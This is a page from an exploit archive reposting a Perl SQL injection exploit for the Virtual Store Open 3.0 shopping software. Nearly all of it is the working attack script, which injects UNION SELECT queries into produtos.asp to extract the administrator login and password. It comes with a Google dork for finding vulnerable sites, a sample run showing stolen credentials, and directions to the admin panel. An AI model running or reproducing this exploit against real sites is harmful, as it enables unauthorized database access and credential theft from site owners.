首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Virtual Store Open 3.0 Acess SQL Injection
来源:vfocus.net 作者:Br0ly 发布时间:2010-12-20  

#!/usr/bin/perl
#
# Script Name: Virtual Store Open <= 3.0
# Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
# Link2 : http://www.virtuastore2010.com.br/
# Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
# Bug: Acess Sql Injection
# Found: Br0ly
# google dork: inurl:"produtos.asp?produto="
# Use some base64 decode google IT.
# After decoding  login and pass go to: www.site.com.br/administrador.asp
# aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
# BRASIL!! :D
#
# exploit demo:
#
#[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
#
#  --------------------------------------
#   -Virutal Store OPen                 
#   -ACESS Sql Injection                
#   -by Br0ly                           
#  --------------------------------------
#
#[+] GO: http://server/produtos.asp?produto=-1
#[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
#[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
#[+] LOGIN:: YWRtaW4=
#[+] SENHA:: ZXVyZWth
#[+] Done
#
# ADMIN PAINEL: http://server/administrador.asp
#
use IO::Socket::INET;
use IO::Select;
use HTTP::Request;
use LWP::UserAgent;

#CONF

my $host   = $ARGV[0];
my $spc    = "%20";
my $ce     = "%26";
my $fim_n  = 51;
my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
 
if(@ARGV < 1 ) { help(1); }
$h0st = url_id($host);
banner();


#GO

magic($h0st);

sub magic () {

 my $url    = $_[0];
 my $union  = "UNION".$spc."SELECT".$spc;
 my $end    = "FROM".$spc."acesso;"; 
 my $c0de   = "";
 my $c0li   = "";
 my $i = 1;
 my $content = "";
 print "[+] GO: $url\n";
 syswrite(STDOUT,"[+] Testing: ",14);
 for($i = 1;$i <= $fim_n;$i += 1) {
  my @num_magic = char_str($i);
  my $num_edit  = edit_char(@num_magic);
  my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
  my $bin = "br0ly".$i."yl0rb"; 
  if(($i > 1) && ($i < $fim_n)) {
   $c0li = $c0li.",".$hex;
   $c0de = $c0de.",".$bin;
  }
  else {
   $c0li = $c0li.$hex;
   $c0de = $c0de.$bin;
  }
  syswrite(STDOUT,$i.",", 255);
  my $xpl   = $url.$spc.$union.$c0li.$spc.$end;
  $content  = get_query($xpl);
  $content  = tag($content);
  if($content =~ /fail/)  { $i = $fim_n+1; }
  if($content =~ m/br0ly/i) {
   $number  = ssdp_mid_str("br0ly","yl0rb",$content);
   $link1   = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
   $link2  = str_replace($link1,"br0ly","");
   $link3   = str_replace($link2,"yl0rb","");
   $inject  = $url.$spc.$union.$link3.$spc.$end;
   $sql_i   = $inject;
   print "\n[+] URL_INJECTED:: $inject\n";
   $login_i = get_login($sql_i);
   if($login_i != 1) {
    print "[+] LOGIN:: $login_i\n";
   }
   else {
    print "[-] FAIL TO GET LOGIN\n";
   }
   $senha_i = get_senha($sql_i);
   if($senha_i != 1) {
    print "[+] SENHA:: $senha_i\n";
   }
   else {
    print "[-] FAIL TO GET SENHA\n";
   }
   $i = $fim_n;
  }
  if($i == $fim_n+1) {
   print ("[-] Failed to get magic number. Please try it manually :)\n");

  }
 }
 print ("[+] Done\n");   
}

sub tag () {
 my $string = $_[0];
 $string =~ s/ /\$/g;
 $string =~ s/\s/\*/g;
 return($string);
}

sub ssdp_mid_str () {
 my $left   = $_[0];
 my $right  = $_[1];
 my $string = $_[2];
 my @exp  = split($left,$string);
 my @data = split($right,$exp[1]);
 return $data[0];
}

sub get_login () {
 my $sqli   = $_[0];
 $login_aux = str_replace($sqli,"c0li",$login);
 $query     = get_query($login_aux);
 if($query  =~ m/br0ly(.+)br0ly/i) {
  $login_r = $1;
  return $login_r;
 }
 else { return 1; }
}

sub get_senha () {
 my $sqli   = $_[0];
 $senha_aux = str_replace($sqli,"c0li",$senha);
 $query     = get_query($senha_aux);
 if($query =~ m/br0ly(.+)br0ly/i) {
  $senha_r = $1;
  return $senha_r;
 }
 else { return 1; }
}
 
sub url_id () {
 my $host = $_[0];
 my $fail = "fail";
 if($host =~ /=(.+)/) {
  $id     = $1;
  $new_id = "-1";
  $host   = str_replace($host,$id,$new_id);
  return $host; 
 }
 else {
  return $fail;
 }
}

sub str_replace () {
 my $source  = shift;
  my $search  = shift;
  my $replace = shift;
  $source =~ s/$search/$replace/ge;
  return $source;
}

sub get_query () {
 my $link = $_[0];
 if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
 my $fail = "fail";
  my $req  = HTTP::Request->new(GET => "http://".$link);
  my $ua   = LWP::UserAgent->new();
  $ua->timeout(5);
  my $response = $ua->request($req);
  #if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
  return $response->content;
}

sub char_str () {
 my $str_1 = $_[0];
  my @str_char = unpack("C*", $str_1);
  return @str_char;
}


sub edit_char () {
  
 my @num = @_;
   my $num_t  = @num;
 my $num_magic;
       
 if($num_t > 1) {
  $num_magic = "chr($num[0])".$ce."chr($num[1])";
  return $num_magic;
 }
 else {    
  $num_magic = "chr($num[0])";
  return $num_magic;
 }
}

sub help () {
 my $help = $_[0];
 if($help == 1) {
  banner();
  print "[-] MISS URL..\n";
  print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
  print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
  exit(0);
 }
}

sub banner() {

 print "\n".
   "  --------------------------------------\n".
 "   -Virutal Store OPen                  \n".
 "   -ACESS Sql Injection                 \n".
 "   -by Br0ly                            \n".
 "  --------------------------------------\n\n";
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel < 2.6.37-rc2 ACPI
·Ecava IntegraXor Remote Active
·ViRobot Desktop 5.5 and Server
·ESTsoft ALYac Anti-Virus 1.5 <
·NProtect Anti-Virus 2007 <= 20
·Word Splash Pro <= 9.5 Buffer
·AhnLab V3 Internet Security 8.
·MP3 CD Converter Professional
·Windows Win32k Pointer Derefer
·Accmeware MP3 Joiner Pro 5.0.9
·D-Link DIR-300 CSRF Vuln (Chan
·Accmeware MP3 Speed 5.0.9 DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved